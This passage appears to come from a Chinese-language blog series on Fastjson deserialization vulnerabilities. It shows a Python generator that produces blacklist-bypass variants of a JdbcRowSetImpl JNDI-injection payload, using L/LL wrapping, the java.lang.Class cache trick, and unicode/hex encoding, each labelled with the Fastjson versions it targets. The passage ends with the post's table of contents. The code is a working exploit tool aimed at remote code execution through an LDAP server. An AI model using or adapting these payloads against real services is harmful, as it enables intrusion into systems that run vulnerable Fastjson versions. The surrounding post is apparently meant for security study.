tmp_objs = []
for dct_obj in dct_objs:
tmp_obj = copy.deepcopy(dct_obj)

for key in tmp_obj:
# op < 4 对@type的值进行转换
if op < 4:
if key == "@type" and tmp_obj[key] != "java.lang.Class":
dct_obj[key] = func(dct_obj[key])
# op >=4 对所有字符串键值进行转换
else:
new_key = func(key)
dct_obj[new_key] = dct_obj.pop(key)
if type(dct_obj[new_key]) == str:
dct_obj[new_key] = func(dct_obj[new_key])
key = new_key

if type(dct_obj[key]) == dict:
tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs
return json.dumps(tmp_payload)

# 对@type的value增加L开头,;结尾的payload
def gen_payload1(self, payload: str):
return self.gen_common(payload, 1, lambda v: "L" + v + ";")

# 对@type的value增加LL开头,;;结尾的payload
def gen_payload2(self, payload: str):
return self.gen_common(payload, 2, lambda v: "LL" + v + ";;")

# 生成cache绕过payload
def gen_payload3(self, payload: str):
load_payload = json.loads(payload)
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "%s" % load_payload["rand1"]["@type"]
}
}
cache_payload["rand2"] = load_payload # 包了两层
return json.dumps(cache_payload)

# 生成 cache + L型 payload
def gen_payload4(self, payload: str):
return self.gen_payload3(self.gen_payload1(payload))

# 对@type的value进行\u
def gen_payload5(self, payload: str):
return self.gen_common(payload, 4,
lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

# 对@type的value进行\x
def gen_payload6(self, payload: str):
return self.gen_common(payload, 5,
lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

def gen(self):

base_funcs = [self.gen_payload1, self.gen_payload2, self.gen_payload3,
self.gen_payload4]

for func in base_funcs:
payload = func(self.base_payload)
yield [payload, self.gen_payload5(payload), self.gen_payload6(payload)]

if __name__ == '__main__':
try :
payload = '''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/test",
"autoCommit": true
}
}'''
lists = ["L型 1.2.25 <= v <= 1.2.41",
"LL型 1.2.25 <= v <= 1.2.42",
"cache型 1.2.25 <= v <= 1.2.47(autotype close)",
"cache+L型 1.2.25 <= v <= 1.2.47(all)"]

fjp = FastJsonPayload(payload)
i = 1
for payloads in fjp.gen():
print(str(i) + ":" + lists[i - 1], end = "\n\n")
for p in payloads:
print(p, end = "\n\n")
i += 1
except :
print('''Usage: Open source code and replace basic payload.''')
print()
raise
CATALOG
  1. 1. 前言
  2. 2. 测试环境
  3. 3. 漏洞简介
    1. 3.1. 漏洞浅析
    2. 3.2. 测试链子
  4. 4. 漏洞系列
    1. 4.1. v <= 1.2.24
    2. 4.2. 1.2.25 <= v <= 1.2.41
    3. 4.3. v = 1.2.42
    4. 4.4. v = 1.2.43
    5. 4.5. v = 1.2.44
    6. 4.6. 1.2.45 <= v <=1.2.46
    7. 4.7. v = 1.2.47
    8. 4.8. 1.2.48 <= v <= 1.2.68
    9. 4.9. v >= 1.2.68 至今
  5. 5. payload 汇总
  6. 6. 不同版本常用Gadgets
    1. 6.1. <=1.2.24
    2. 6.2. <=1.2.41
    3. 6.3. <=1.2.42
    4. 6.4. <=1.2.43
    5. 6.5. <=1.2.45
    6. 6.6. <=1.2.47
    7. 6.7. <=1.2.62
    8. 6.8. <=1.2.66
  7. 7. 总结